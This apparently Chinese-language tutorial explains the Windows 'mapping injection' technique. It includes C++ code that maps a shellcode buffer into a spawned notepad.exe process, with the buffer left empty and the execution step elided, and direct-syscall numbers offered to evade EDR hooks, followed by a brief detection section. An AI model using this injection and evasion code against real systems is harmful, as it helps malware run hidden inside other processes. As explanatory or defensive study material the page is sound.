Mapping injection
字数 1743 2025-08-06 12:20:51

映射注入(Mapping Injection)技术详解

1. 映射注入概述

映射注入是一种内存注入技术,通过创建内存映射对象来绕过传统的进程注入方法。其核心思想是:

  • 创建内存映射对象本质上属于申请一块物理内存
  • 申请的物理内存可以通过系统函数直接映射到进程的虚拟内存
  • 避免了使用VirtualAllocExWriteProcessMemory等传统注入函数

2. 用户层函数实现

2.1 核心API函数

CreateFileMappingA

HANDLE CreateFileMappingA(
    [in] HANDLE hFile,
    [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
    [in] DWORD flProtect,
    [in] DWORD dwMaximumSizeHigh,
    [in] DWORD dwMaximumSizeLow,
    [in, optional] LPCSTR lpName
);
  • hFile: 文件句柄,通常填INVALID_HANDLE_VALUE创建匿名映射对象
  • flProtect: 内存映像保护类型(如PAGE_EXECUTE_READWRITE
  • dwMaximumSizeHigh/Low: 文件映射对象大小(高/低32位)
  • lpName: 文件映射对象名称(可选)

OpenFileMappingA

HANDLE OpenFileMappingA(
    [in] DWORD dwDesiredAccess,
    [in] BOOL bInheritHandle,
    [in] LPCSTR lpName
);
  • 打开已命名的文件映射对象
  • lpName必须与CreateFileMappingA中指定的名称匹配

MapViewOfFile

LPVOID MapViewOfFile(
    [in] HANDLE hFileMappingObject,
    [in] DWORD dwDesiredAccess,
    [in] DWORD dwFileOffsetHigh,
    [in] DWORD dwFileOffsetLow,
    [in] SIZE_T dwNumberOfBytesToMap
);
  • 将内存空间映射到调用进程的内存空间
  • hFileMappingObject: CreateFileMappingAOpenFileMappingA返回的句柄
  • dwDesiredAccess: 保护类型(如FILE_MAP_EXECUTE | FILE_MAP_READ | FILE_MAP_WRITE
  • dwNumberOfBytesToMap: 映射的字节数(0表示映射整个文件)

UnmapViewOfFile

BOOL UnmapViewOfFile(
    [in] LPCVOID lpBaseAddress
);
  • 解除文件映射对象的映射

2.2 基本实现示例

写入程序(Write.cpp)

#include <windows.h>
#include <iostream>
using namespace std;

int main() {
    unsigned char buf[] = "HelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHello";
    
    // 创建文件映射对象
    HANDLE CreateFileM = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(buf), "Mapping");
    
    // 映射到当前进程
    LPVOID Address = MapViewOfFile(CreateFileM, FILE_MAP_EXECUTE | FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
    
    // 写入数据
    memcpy(Address, buf, sizeof(buf));
    
    // 清理
    UnmapViewOfFile(Address);
    CloseHandle(CreateFileM);
}

读取程序(Read.cpp)

#include <windows.h>
#include <iostream>
using namespace std;

int main(){
    // 打开映射对象
    HANDLE OpenFileM = OpenFileMappingA(FILE_MAP_READ, FALSE, "Mapping");
    
    // 映射到当前进程
    LPVOID Address = MapViewOfFile(OpenFileM, FILE_MAP_READ, 0, 0, 0);
    
    // 读取数据
    wcout << "[+] Success read: " << (char*)Address << endl;
    
    // 清理
    UnmapViewOfFile(Address);
    CloseHandle(OpenFileM);
}

2.3 进程注入实现

基本流程:

  1. 使用CreateFileMappingA创建文件映射对象
  2. 使用MapViewOfFile映射到本地进程内存空间
  3. 将shellcode写入内存空间
  4. 使用MapViewOfFile2MapViewOfFile3映射到目标进程
  5. 执行shellcode

示例代码:

#include <windows.h>
#include <iostream>
#pragma comment(lib, "onecore.lib")
using namespace std;

int main() {
    unsigned char buf[] = ""; // shellcode
    
    // 创建目标进程
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    CreateProcessA(NULL, (LPSTR)"notepad.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
    
    // 创建文件映射对象
    HANDLE CreateFileM = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(buf), NULL);
    
    // 映射到当前进程
    LPVOID MapView = MapViewOfFile(CreateFileM, FILE_MAP_EXECUTE | FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
    
    // 写入shellcode
    memcpy(MapView, buf, sizeof(buf));
    
    // 映射到目标进程
    LPVOID MapView2 = MapViewOfFile2(CreateFileM, pi.hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READWRITE);
    
    // 执行shellcode
    // ...
    
    // 清理
    UnmapViewOfFile(MapView2);
    UnmapViewOfFile(MapView);
    CloseHandle(CreateFileM);
    CloseHandle(pi.hProcess);
}

3. 内核层实现

3.1 核心系统调用

NtCreateSection

__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
    [out] PHANDLE SectionHandle,
    [in] ACCESS_MASK DesiredAccess,
    [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
    [in, optional] PLARGE_INTEGER MaximumSize,
    [in] ULONG SectionPageProtection,
    [in] ULONG AllocationAttributes,
    [in, optional] HANDLE FileHandle
);
  • SectionHandle: 接收节对象句柄
  • DesiredAccess: 访问权限
  • MaximumSize: 内存映射文件对象的最大大小
  • SectionPageProtection: 页面保护属性
  • AllocationAttributes: 分配属性标志(SEC_XXX)
  • FileHandle: 文件对象句柄(可为NULL)

NtMapViewOfSection

NTSYSAPI NTSTATUS NtMapViewOfSection(
    [in] HANDLE SectionHandle,
    [in] HANDLE ProcessHandle,
    [in, out] PVOID *BaseAddress,
    [in] ULONG_PTR ZeroBits,
    [in] SIZE_T CommitSize,
    [in, out, optional] PLARGE_INTEGER SectionOffset,
    [in, out] PSIZE_T ViewSize,
    [in] SECTION_INHERIT InheritDisposition,
    [in] ULONG AllocationType,
    [in] ULONG Win32Protect
);
  • SectionHandle: 节对象句柄
  • ProcessHandle: 目标进程句柄
  • BaseAddress: 接收视图基址的指针
  • CommitSize: 初始提交区域大小
  • Win32Protect: 保护属性(如PAGE_READWRITE

3.2 直接系统调用实现

由于EDR可能挂钩这些API,可以直接进行系统调用:

  1. NtCreateSection的系统调用号:0x4A
  2. NtMapViewOfSection的系统调用号:0x28

实现思路:

  1. 使用NtCreateSection创建内存映射对象
  2. 使用NtMapViewOfSection映射到本地进程并写入数据
  3. 再次使用NtMapViewOfSection映射到目标进程
  4. 执行shellcode

4. 防御与检测

映射注入技术的防御和检测点:

  1. 监控内存映射行为

    • 异常的内存映射对象创建
    • 跨进程的内存映射操作
  2. 检测系统调用

    • 直接系统调用(特别是NtCreateSectionNtMapViewOfSection
    • 不寻常的系统调用序列
  3. 行为分析

    • 创建内存映射后立即写入可执行代码
    • 将内存映射映射到多个进程
  4. 保护措施

    • 限制进程创建内存映射的权限
    • 监控跨进程的内存操作

5. 参考资源

  1. CreateFileMappingA文档
  2. MapViewOfFile文档
  3. NtCreateSection文档
  4. NtMapViewOfSection文档
映射注入(Mapping Injection)技术详解 1. 映射注入概述 映射注入是一种内存注入技术,通过创建内存映射对象来绕过传统的进程注入方法。其核心思想是: 创建内存映射对象本质上属于申请一块物理内存 申请的物理内存可以通过系统函数直接映射到进程的虚拟内存 避免了使用 VirtualAllocEx 和 WriteProcessMemory 等传统注入函数 2. 用户层函数实现 2.1 核心API函数 CreateFileMappingA hFile : 文件句柄,通常填 INVALID_HANDLE_VALUE 创建匿名映射对象 flProtect : 内存映像保护类型(如 PAGE_EXECUTE_READWRITE ) dwMaximumSizeHigh/Low : 文件映射对象大小(高/低32位) lpName : 文件映射对象名称(可选) OpenFileMappingA 打开已命名的文件映射对象 lpName 必须与 CreateFileMappingA 中指定的名称匹配 MapViewOfFile 将内存空间映射到调用进程的内存空间 hFileMappingObject : CreateFileMappingA 或 OpenFileMappingA 返回的句柄 dwDesiredAccess : 保护类型(如 FILE_MAP_EXECUTE | FILE_MAP_READ | FILE_MAP_WRITE ) dwNumberOfBytesToMap : 映射的字节数(0表示映射整个文件) UnmapViewOfFile 解除文件映射对象的映射 2.2 基本实现示例 写入程序(Write.cpp) 读取程序(Read.cpp) 2.3 进程注入实现 基本流程: 使用 CreateFileMappingA 创建文件映射对象 使用 MapViewOfFile 映射到本地进程内存空间 将shellcode写入内存空间 使用 MapViewOfFile2 或 MapViewOfFile3 映射到目标进程 执行shellcode 示例代码: 3. 内核层实现 3.1 核心系统调用 NtCreateSection SectionHandle : 接收节对象句柄 DesiredAccess : 访问权限 MaximumSize : 内存映射文件对象的最大大小 SectionPageProtection : 页面保护属性 AllocationAttributes : 分配属性标志(SEC_ XXX) FileHandle : 文件对象句柄(可为NULL) NtMapViewOfSection SectionHandle : 节对象句柄 ProcessHandle : 目标进程句柄 BaseAddress : 接收视图基址的指针 CommitSize : 初始提交区域大小 Win32Protect : 保护属性(如 PAGE_READWRITE ) 3.2 直接系统调用实现 由于EDR可能挂钩这些API,可以直接进行系统调用: NtCreateSection 的系统调用号:0x4A NtMapViewOfSection 的系统调用号:0x28 实现思路: 使用 NtCreateSection 创建内存映射对象 使用 NtMapViewOfSection 映射到本地进程并写入数据 再次使用 NtMapViewOfSection 映射到目标进程 执行shellcode 4. 防御与检测 映射注入技术的防御和检测点: 监控内存映射行为 : 异常的内存映射对象创建 跨进程的内存映射操作 检测系统调用 : 直接系统调用(特别是 NtCreateSection 和 NtMapViewOfSection ) 不寻常的系统调用序列 行为分析 : 创建内存映射后立即写入可执行代码 将内存映射映射到多个进程 保护措施 : 限制进程创建内存映射的权限 监控跨进程的内存操作 5. 参考资源 CreateFileMappingA文档 MapViewOfFile文档 NtCreateSection文档 NtMapViewOfSection文档